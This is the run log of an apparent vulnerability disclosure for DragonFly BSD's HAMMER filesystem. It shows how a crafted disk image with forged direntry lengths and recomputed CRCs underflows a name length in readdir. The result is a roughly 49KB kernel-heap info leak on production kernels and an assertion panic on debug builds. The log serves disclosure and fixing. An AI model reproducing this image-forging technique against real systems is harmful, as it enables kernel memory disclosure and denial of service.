DF-0769 / run.log
DF-0769 DECISIVE RUN LOG (combination of baseline #0 reproduction + production harness)
================================================================================
Guest baseline (reproduction kernel): DragonFly 6.5-DEVELOPMENT #0 (with-src, INVARIANTS ON)
GCC: cc 8.3 [DragonFly]
------------------------------------------------------------
PART 1: deterministic production-primitive proof (harness, INVARIANTS-OFF ceiling)
------------------------------------------------------------
$ ./harness
forged data_len = 8
HAMMER_ENTRY_NAME_OFF = 16
data_len - NAME_OFF = -8
=> d_namlen (uint16_t) = 65528 (0xfff8)
=> _DIRENT_RECLEN(d_namlen) = 65552 bytes (kmalloc'd + uiomove'd to user)
vop_write_dirent bcopy(d_name, dp->d_name, 65528)
source region: 16KB hammer_buffer->ondisk (name at +16)
valid bytes in source buffer = 16368
bytes read by bcopy = 65528
>>> OOB READ beyond buffer = 49160 bytes <<<
uiomove then copies all 65552 bytes (incl OOB data) to the getdents user buffer
=> ~49160-byte kernel-heap INFO LEAK via unprivileged getdirentries
Sample leaked bytes (from dp_d_name[16368..], i.e. past the hammer buffer):
cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc
------------------------------------------------------------
PART 2: image crafting (craft_img) on a fresh 1GB newfs_hammer image
------------------------------------------------------------
$ ./craft_img /root/scratch.img
vol_buf_beg=0x88000 vol_version=7
image size=1073741824 bytes
@node 0x21088000 elm[1] 'BBBB.txt' data_offset=90000000218001b0 data_len=24 -> forging data_len=8
forged data_crc=99fc7e3a (iscsi_crc32 of 8 bytes at phys 0x218881b0)
@node 0x21088000 elm[2] 'AAAA_entry.txt' data_offset=90000000218001d0 data_len=30 -> forging data_len=8
forged data_crc=13ba2666 (iscsi_crc32 of 8 bytes at phys 0x218881d0)
@node 0x21088000 rewrote node crc: was 9f3e0145(ok=1) now 80ed3b57
PATCHED 2 direntry leaf element(s). data_len now 8 (< HAMMER_ENTRY_NAME_OFF=16).
[node crc self-check 'ok=1' confirms the userspace iscsi_crc32 matches the kernel's
CRC implementation, so the forged data_crc/node crc will pass hammer_crc_test_*().]
------------------------------------------------------------
PART 3: GENERIC #0 baseline -- trigger via unprivileged getdirentries
------------------------------------------------------------
Setup (root precondition, acceptable per threat model): vnconfig + mount crafted image.
vnconfig -c vn0 /root/scratch.img
mount -t hammer -o nohistory /dev/vn0 /mnt
chmod 755 /mnt # maxx can readdir
Trigger (unprivileged): ls /mnt -> getdirentries(/mnt)
=> GUEST WEDGED IN DDB (command never returns; ssh dies)
Serial console (dfbsd-qemu/boot.log):
HAMMER(TEST) mounted clean, no recovery needed
panic: assertion "cursor.leaf->data_len > HAMMER_ENTRY_NAME_OFF" failed in hammer_vop_readdir at /usr/src/sys/vfs/hammer/hammer_vnops.c:1728
cpuid = 0
Trace beginning at frame 0xfffff8011722b628
hammer_vop_readdir() at hammer_vop_readdir+0x294 0xffffffff809583c4
hammer_vop_readdir() at hammer_vop_readdir+0x294 0xffffffff809583c4
vop_readdir() at vop_readdir+0x6b 0xffffffff8070b17b
kern_getdirentries() at kern_getdirentries+0xdc 0xffffffff80706a3c
sys_getdirentries() at sys_getdirentries+0x24 0xffffffff80706aa4
syscall2() at syscall2+0x11e 0xffffffff80bd6a0e
Stopped at Debugger+0x7c: movb $0,0xbdaf09(%rip)
db>
=> KKASSERT at hammer_vnops.c:1728 fires (forged data_len=8 is NOT > 16) on GENERIC.
This is the GENERIC (INVARIANTS-ON) manifestation: kernel panic / local DoS.
The production (INVARIANTS-OFF) manifestation is the ~49160-byte OOB info leak
proven by harness.c in Part 1 (the KKASSERT is compiled out, so :1737 runs).
See panic.txt for the full panic block, fix_run.log for the post-fix behavior.